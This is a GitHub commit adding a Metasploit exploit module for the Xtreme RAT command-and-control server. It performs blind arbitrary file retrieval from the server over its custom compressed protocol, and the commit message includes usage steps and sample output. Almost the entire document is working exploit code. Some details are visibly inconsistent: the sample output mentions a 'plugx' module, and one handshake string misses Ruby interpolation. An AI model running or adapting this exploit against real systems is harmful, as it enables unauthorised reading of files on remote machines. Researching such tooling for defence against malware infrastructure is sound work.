Skip to content

Commit 5c8a90a

Browse files
Add files via upload
This module is a Xtreme Rat Server Remote File Download Exploit that allows for blind file retrieval from the target ## Verification Run the Xtreme Rat server on a target windows machine. - [ ] use exploit/windows/misc/xtreme - [ ] set RHOST [ip of target] - [ ] set TARGETFILE testfile.txt - [ ] exploit Sample output: ``` msf> use exploit/windows/misc/xtreme msf exploit(plugx) > set rhost 192.168.161.128 rhost => 192.168.161.128 msf exploit(plugx) > set target 1 TARGETFILE => testfile.txt [*] 192.168.161.128:80 - Trying target Xtreme RAT 3.7... ```
1 parent 9954633 commit 5c8a90a

File tree

1 file changed

+123
-0
lines changed

1 file changed

+123
-0
lines changed

xtreme.rb

Lines changed: 123 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,123 @@
1+
##
2+
# This module requires Metasploit: http://metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
require 'zlib'
7+
8+
class MetasploitModule < Msf::Exploit::Remote
9+
Rank = NormalRanking
10+
include Msf::Exploit::Remote::Tcp
11+
include Msf::Auxiliary::Report
12+
13+
def initialize(info = {})
14+
super(update_info(info,
15+
'Name' => 'Xtreme Rat Controller Remote File Download Exploit',
16+
'Description' => %q{
17+
This module exploits an arbitrary file download vulnerability in the Xtreme C&C server
18+
},
19+
'Author' => 'Professor Plum',
20+
'License' => MSF_LICENSE,
21+
'References' =>
22+
[
23+
],
24+
'Platform' => 'win',
25+
'DisclosureDate' => 'Jul 27 2017',
26+
'Targets' =>
27+
[
28+
['Xtreme RAT 3.6', { 'Ver' => '3.6' }],
29+
['Xtreme RAT 3.7', { 'Ver' => '3.7' }]
30+
],
31+
'Privileged' => false,
32+
'DefaultTarget' => 1))
33+
34+
register_options(
35+
[
36+
Opt::RPORT(80),
37+
OptString.new('TARGETFILE', [false, 'Target file to download', 'user.info'])
38+
], self.class
39+
)
40+
end
41+
42+
@delm = "\xc2\x00\xaa\x00\xc2\x00\xaa\x00\xc2\x00\xaa\x00#\x00#\x00#\x00\xe2\x00\" a\x01\xe2\x00\" a\x01\xe2\x00\" a\x01".force_encoding('utf-16le')
43+
@password = ''
44+
@conid = ''
45+
46+
def validate(b)
47+
if b != "X\r\n"
48+
print_status(b.inspect)
49+
return false
50+
end
51+
true
52+
end
53+
54+
def check
55+
connect
56+
sock.put("myversion|#{target['Ver']}\r\n")
57+
if validate(sock.recv(3))
58+
return Exploit::CheckCode::Appears
59+
end
60+
Exploit::CheckCode::Safe
61+
end
62+
63+
def make_string(cmd, msg)
64+
pp = (cmd + @delm + msg)
65+
pack = Zlib::Deflate.deflate(pp)
66+
return @password + [pack.size, 0].pack('<II') + pack
67+
end
68+
69+
def read_string(sock)
70+
d = sock.recv(16)
71+
if d.size < 16
72+
print_status("Didn't receive full packet!")
73+
return
74+
end
75+
@password = d[0..7]
76+
size = d[8..12].unpack('<I')[0]
77+
d = ''
78+
while d.size < size
79+
d += sock.get_once(size - d.size)
80+
end
81+
if d.size != size
82+
print_status("Bad response! #{d.size} != #{size}")
83+
return
84+
end
85+
msg = Zlib::Inflate.inflate(d).force_encoding('utf-16le')
86+
cmd, data = msg.split(@delm)
87+
# print_status("#{cmd.inspect} | #{data.inspect}")
88+
if 'maininfo'.encode('utf-16le') == cmd
89+
@conid = data
90+
end
91+
if 'updateserverlocal'.encode('utf-16le') == cmd
92+
fsize = data.encode('binary').to_i
93+
fdata = ''
94+
while fdata.size < fsize
95+
fdata += sock.get_once(fsize - fdata.size)
96+
end
97+
print_status("Received file #{datastore['TARGETFILE']}!")
98+
# print_status(fdata.inspect)
99+
store_loot('xtremeRat.file', 'text/plain', datastore['RHOST'], fdata, datastore['TARGETFILE'], 'File retrieved from Xtreme C2 server')
100+
end
101+
end
102+
103+
def exploit
104+
print_status("Trying target #{target.name}...")
105+
106+
connect
107+
sock.put("myversion|{target['Ver']}\r\n")
108+
unless validate(sock.get_once(3))
109+
print_status('Server did not Ack hello')
110+
return
111+
end
112+
read_string(sock)
113+
114+
print_status('Sending request')
115+
sock.put(make_string('newconnection|'.encode('utf-16le') + @conid + @delm + 'updateserverlocal'.encode('utf-16le'), datastore['TARGETFILE'].encode('utf-16le')))
116+
unless validate(sock.get_once(3))
117+
print_status('Server did not Ack message')
118+
return
119+
end
120+
read_string(sock)
121+
disconnect
122+
end
123+
end

0 commit comments

Comments
 (0)